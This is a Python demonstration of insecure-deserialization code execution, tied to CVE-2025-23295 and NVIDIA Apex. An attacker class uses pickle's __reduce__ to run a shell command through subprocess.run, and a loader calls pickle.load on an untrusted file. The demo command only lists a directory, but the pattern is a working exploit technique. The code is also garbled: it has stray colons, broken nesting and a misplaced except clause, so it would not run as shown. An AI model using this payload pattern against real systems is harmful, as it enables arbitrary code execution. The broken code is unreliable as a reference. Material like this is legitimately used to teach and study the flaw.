Vulnerable code sample

import pickle
import os
import subprocess

# This code is a hypothetical representation of a vulnerability like CVE-2025-23295.
# It demonstrates how loading a malicious file with an insecure deserialization
# method (pickle.load) can lead to arbitrary code execution.

# --- Attacker's Code ---
# An attacker would first create a malicious file. This part of the code
# would be run on the attacker's machine.

class MaliciousCode:
    """
    A class designed to execute a command when an instance of it is deserialized.
    The __reduce__ method is called by pickle during deserialization.
    """
    def __reduce__(self):
        """Vulnerable function that demonstrates the security issue."""
        # On Windows, 'dir' lists directory contents. On Linux/macOS, use 'ls -la'.
        # This command is for demonstration; an attacker would use something more harmful.:
        cmd = ('dir' if os.name == 'nt' else 'ls -la'):
        return (subprocess.run, (cmd,), {'shell': True})

        def create_malicious_file(filename="malicious_checkpoint.bin"):
            """Creates a pickle file containing the malicious payload."""
            payload = MaliciousCode()
            with open(filename, "wb") as f:
                print(f"[ATTACKER] Creating malicious file: {filename}")
                pickle.dump(payload, f)
                print("[ATTACKER] Malicious file created.")

# --- Vulnerable Application Code ---
# This part represents the vulnerable component in a library like NVIDIA Apex.
# It trusts and loads a file provided by a user without proper validation.

                def vulnerable_load_function(filepath):
                    """
                    This function represents the vulnerable part of the application.
                    It insecurely uses pickle.load() on a user-provided file path.
                    """
                    print(f"\n[VULNERABLE APP] Attempting to load data from: {filepath}")
                    print("[VULNERABLE APP] The next lines of output will be the result of the exploit...")
                    try:
                        with open(filepath, "rb") as f:
            # The vulnerability is here: pickle.load can execute arbitrary code.
                            data = pickle.load(f)
                            print("\n[VULNERABLE APP] ...File processed.")
        # The application might try to use 'data' here, but the code has already executed.
                            return data
                            except Exception as e:
                                print(f"[VULNERABLE APP] An error occurred: {e}")

# --- Demonstration ---
                                if __name__ == "__main__":
                                    malicious_filename = "malicious_checkpoint.bin"

    # 1. Attacker creates the malicious file.
                                    create_malicious_file(malicious_filename)

    # 2. The vulnerable application loads the malicious file, triggering the exploit.
                                    vulnerable_load_function(malicious_filename)

    # 3. Clean up the created file.
                                    if os.path.exists(malicious_filename):
                                        os.remove(malicious_filename)
                                        print(f"\n[CLEANUP] Removed {malicious_filename}.")